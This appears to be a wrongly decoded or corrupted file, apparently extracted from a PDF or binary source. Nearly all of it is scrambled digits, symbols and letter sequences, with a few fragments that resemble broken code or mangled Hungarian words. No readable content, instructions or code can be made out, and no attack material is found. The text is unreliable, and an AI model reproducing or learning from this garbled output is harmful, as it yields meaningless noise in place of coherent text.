984*5/4,277:.92751*0+?47A(9)45898.532989KA1*321+3C48.*4825/1+28>5, 29>338L,M/-1-3*321+327.1*N18285>5,,2774E76.3*72=23;1-92.3C*,-51+282< .3C*82832552,36/439)45,2774+282/23.*825/1+28.1*27,-1+0325.1*3?2+-8< 7;,*528(272552,8298M93M54:27=272+-16395C-14+9774G536,128721+ 4+55547*=2721C=45283M)).5K47+97A*8L?272323?-92+52,10+,>7M5)M+; 1+9803A9-G25*,>7M5)M+;./29*3483=4313321+352,8.5/25,-GG25*829,277 ?985.*2+34+27;82528829(A157=43A./;31*08824825/1+2882957/913,05971 @.5/4//9*?98565,,277C480929?2+-87;.5K47+97A/533*-1=272125829(2< 72531*3+41+.5,855*123OG67-14+3248F5H567:>99?-52,,272+34G85)7-893 82957/=43(6,1*P5++65,7-38249321+321232384(/?-92++>,274,M?23,2+; 7-G-12,23Q 2 0B48G72R1S1RJ84:.,61*2728321+327-12E76.53*129031-9-?27 TUVWWXYV ZWT[V[VY ]^ [XT `V[aZbcdUTXY e [Vf[g Z^[  Vh iVf[g Z^[bcj 2[Vf[g Z^[klYYmUV [nX`[V VWbopVfmUV [kqrmsigtuvqtwxnmimy zl`{ |l YpVWb }ZV Ya [XpqT~ZpV[Vy €€€ cy ]lp`Vy €y [W^V cj lYYq‚XpYb [Vf[g Z^[ cj ƒ

P5++6,*7-3824829:2727;984:.,61*?2+-87;3„ 2 3/( 65,*=5++92914(932128-5:.927;3C*482747-382=5+91?-9-5:63 84(/*72„ z P41+597 (6,*4+41+.5,855*:.927;*30G613„ } P41+597 (6,*4E76.3<)45*/2:.5973*:>99?-53C48.*528K1.597*1288.3„  3/( 6,*=5++94+4/533?2+-87;34321+3,M852+23=2+6421305?.85582537 3+*67<M17-G-15-74+4//I=.7/*:>99?-5527=5++94/(6,4984:.,61*272823 4*321+32123=2+C48.*:68K1954,3L5=2313321+3212352829984:.,61*27< 28*6ONI58G552537C/2825/27,2+-1829774:44/2328?2+-1.*8.534*4=2721 8L,M/-1*-8/2,-)2513?2+-87;,4828A8.9)45*7-32+52,.5K47+97A/54,C*/2 012334567895 48 528464748725397534525287215247482727 28282252863724272527463!"545288#$ 52272125%&32163343872825397423412(97122853934 85245223213055825348274$232!"5223872825 39744321327"1"2")25* +47 +47&3 +2827 +2827&3 +282&77725

+237&3 +237, -482 +237.52/ +1237.52/ +568725 &3213212372639146395822771!5323548277"4391434447"32 332"7372277125427!7237"127727$753$7"12827234 $23247"23!527* 0/48720%1%0&8277"43913821!532332423582361 447632512)25 567899:;85<96=8>=8;5?@A>=:6A5=8B9C6DAEFG76:;5H 5555555555555555 98I678JK:L;E5=8M=NA<@=5FO 5555555555555555P=8M=NA<@=5Q5A@LLO 55555555R S2!427!7232271399)7T P U7 731642225(9356774843$74128"3#34$232 47478847T &2"7)29773914"1455427725 "124$2324772231"21* 0/48720% %0V2"7343478954)29773914"127725 "12 5<@WL:>5?@A>=:6A5 =8X=Y8=Z8M=[96<89=EF5G576:;5H 5555555555555555 7B95<BXXZK96@]KCB=BG^W 8>=5Q5A8D 5^W 8>=EFO

5555555555555555P<BXXZK96@]KCB=B`<96<89=aBI85Q5b=8M=bO 012334567895    !!!"# $%& ()*!+ ,%()-.(/0122&3 45 +  !673 8993 3  ():)144 ;3 63 93  ;# <%&%  # = >4 64!  !67+ )?()3 ?1@A4 ;?)! B C(D+ )E :" F3  ;# = G4 64!  ():)144 + ?1@A4 ;?)! B H6!+7 ! () :) 144 ;# = I JKLL65MN 7O3P2N2QN2Q1L2PRNKST2M368K3UN48VN39PK7T4N4NS2977W345XYNOP3OM23 4N82QZ2727[NZKP89S45 ]N^PK^2P3 482N^PK^2P3`4762NOP3OM2VM23N977W316MNS2N4NMWa953NOP3OMP2 $ ]XT 65MN2QNb72c0a253d̀]ef0ghijjklN2128O5NZVQ27[3UN4827S25NZVm Q27TnMN84TXN4N1VM2P21Na4QN1VM2P327251OQN3O5O3d < o25X27 TnMN4Na2LOP7[NOP3OMOp2LN4NMWa953NOP3OM23 > q2ZV

5V97T65MN2QN823YX613N4N1VM2P21NOP3OM4X91N2123OP2 C 07 725[PVLLnMN4NMWa953Np43913N4N4112P30r6471N823YX61N12QW31OQOa27 G q2ZV 5V97T6MN4Np45X720a253 2a2Piss6PP2XN823YX613N4PP4N4LN2123P2UNp4N4 S2977W391N528NZ63K33N72N1VM2P2125 H ]N 321L327[NM2P23P25X1L2P52MNMn7XTnMN27N4N1VM2P327251OQN3O5O3N4NZ4V7N823Ym X61Np41L597439a47 ]NZ6391N2P2X8O5O3NQP4ZVM6145N27282Lp23TnMUNO1N4N^VPK1NPOQVYP4NM7VMM27a2 MV5W7VMN4NpVS91UNa4QNp2732725N2P2X8O53N4XYNZnQQaO5UN82723N4NMta23M2L[ 9SP95N793p4365Mu 012334567895 620132132285524744